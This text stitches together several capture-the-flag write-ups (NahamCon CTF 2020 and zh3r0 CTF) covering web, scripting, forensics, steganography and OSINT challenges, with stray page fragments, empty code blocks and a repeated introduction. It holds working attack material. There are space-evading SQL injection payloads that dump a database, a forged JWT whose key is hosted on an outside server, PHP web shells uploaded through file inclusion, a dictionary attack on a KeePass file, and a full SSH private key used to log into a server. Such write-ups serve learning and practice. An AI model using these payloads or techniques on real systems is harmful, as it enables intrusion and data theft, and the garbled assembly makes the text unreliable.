Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# Challenge Name
Author: [roerohan](https://github.com/roerohan)
Brief Description
# Requirements
- PHP Local File Inclusion (LFI)
# Source
- http://web.zh3r0.ml:7777/- The description on the website mentions `page` and `upload`.
# Exploitation
The first part of the challenge is a sort of vague guesswork. In the challenge description, there are two words - `page` and `upload` - which the author wants you to notice. Also, when you view the homepage source, it has a comment ``.
So, the first try was to pass a query `page` in the flag. So, we tried to visit `http://web.zh3r0.ml:7777/?page=flag`. Here, we get a gif.
Now, since the description had the word `upload` in it, we tried to checkout if there is a page called upload, and there was!
Here, we can assume that we have to do some sort of local file inclusion. So we created a file called `payload.php`, and tried to `ls` the directory. We saw a lot of files called `flag`, so we just decided to print all files and just search on the browser. Here's the final payload:
```php
```
Now you can visit the route `/?page=payload` (name of the file you uploaded). This gives a page with a lot of stuff.
So, the contents of all the files are now on the browser. All you have to do is open the source code and search for the flag format.
The flag is:
```zh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320}``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>zh3r0</span></span><span>/</span><span><span>pwn</span></span><span>/</span>command-1<span>/</span> </div> </div>
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# Forensics
It's the forensic category, but it's more like steganography :D
## Snow```I wonder if the snow loves the trees and fields, that it kisses them so gently?
Author : h4x5p4c3File: snow.zip```
Extract archive and let's look at what's inside:```snow$ tree -a.├── chall.txt└── .snowey ├── ... │ └── ... │ └── .secret.txt └── .flag.txt
3 directories, 3 files```
In `.snowey/.flag.txt` there is `zh3r0{is_this_the_r3al_fl4g?}`, it looks like the flag, but this seems too easy and it's already the flag of the challenge **Welcome to Phase 1**
Then, in `.snowey/.../.../.secret.txt`, there is `welc0me_to_zh3r0_ctf`, okay...
And in `chall.txt`, some random sentences, but there is many spaces at end of lines:```$ cat -Te chall.txt | head/* Malloc implementation for multiple threads without lock contention.^I $ Copyright (C) 1996-2019 Free Software Foundation, Inc.^I ^I $ This file is part of the GNU C Library. ^I ^I ^I ^I $ Contributed by Wolfram Gloger <[email protected]>^I ^I ^I ^I $ and Doug Lea <[email protected]>, 2001. ^I ^I ^I^I$^I ^I^I^I ^I ^I ^I ^I ^I $ The GNU C Library is free software; you can redistribute it and/or $ modify it under the terms of the GNU Lesser General Public License as $ published by the Free Software Foundation; either version 2.1 of the $ License, or (at your option) any later version. ^I^I ^I $```
Some spaces and somes tabs, it seems to be a hidden secret:```$ stegsnow -C chall.txt Warning: residual of 7 bits not uncompressedeiwlaIl,uysespwpufsvi ga enh .```
It's stegsnow, but it seems to require a password, try with `welc0me_to_zh3r0_ctf`:```$ stegsnow -C -p welc0me_to_zh3r0_ctf chall.txt zh3r0{i5_it_sn0w1ng?}```
The flag is: `zh3r0{i5_it_sn0w1ng?}`
## is it a troll???```there is baby key and baby hide the key somewhere. Can you help his father to find the key??
Author : cryptonic007File: Trollface.jpg```
First, with http://exif.regex.info/exif.cgi, we can see metadatas of `Trollface.jpg`
There is an interesting author: `wJNVU1tljMDBTVKm5HekQ8xx`
It's `pass : itrolledyou` encoded in base 62, but the pass for what ?
With this password, we can extract a file from `Trollface.jpg` with `steghide`:```$ steghide extract -sf Trollface.jpgEnter passphrase: wrote extracted data to "troll.zip".```
In `troll.zip`, there is `troll.png`
With `zsteg`, we get:```$ zsteg troll.png b1,rgb,lsb,xy .. text: "30:aDutCu4gwUtnqdVuhLUL6jFueSgRFi"b1,rgba,msb,xy .. text: "TST0VsRrB5"b1,abgr,lsb,xy .. text: "e7%'$Sa\#$#e#"b2,abgr,lsb,xy .. file: 0420 Alliant virtual executable not strippedb3,r,msb,xy .. file: Targa image data (2048-8336) 2080 x 8336 x 8 +8338 +37384 - four way interleave " H\200 H\220"b4,r,lsb,xy .. file: Novell LANalyzer capture fileb4,g,lsb,xy .. file: TeX font metric datab4,b,lsb,xy .. file: 0420 Alliant virtual executable not strippedb4,rgb,lsb,xy .. file: TeX font metric data (\021\001\001)b4,rgba,msb,xy .. file: Applesoft BASIC program data, first line number 8```
The first line (`aDutCu4gwUtnqdVuhLUL6jFueSgRFi`) is `zh3ro{y0u_got_th3_k3y}` in base58
On Discord it was say:```For is it a troll flag format is zh3r0 {} and please change the o with 0Sorry for the inconvenience```
So the flag is: `zh3r0{y0u_g0t_th3_k3y}` |
By looking at the site there seems nothing there.. even in the source code.
Lets check all the ressources and in the css file we can find the flag
## Flagzh3r0{y3s_th1s_1s_w4rmup} |
In the Source-Code of the site we can find a hint``
so i just guessed based on the hind and because its a site where you should upload you homwork `web.zh3r0.ml:7777?page=upload`which leads to an upload formular
lets upload a php shell and try to access it
`http://web.zh3r0.ml:7777/?page=shell&cmd=ls`
it works! lets find the flag!After a bit tweaking i got a extendet shell running which i could access by `http://web.zh3r0.ml:7777/?page=pwny`
To see what we are dealing with `ls -la` and we see a bunch of weirdly named folders..
lets search them with `grep -nr 'zh3r0*'` and voilà the flag
## Flagzh3r0{h3y_d1d_y0u_upl04d_php_c0rr3ct1y???_84651320} |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
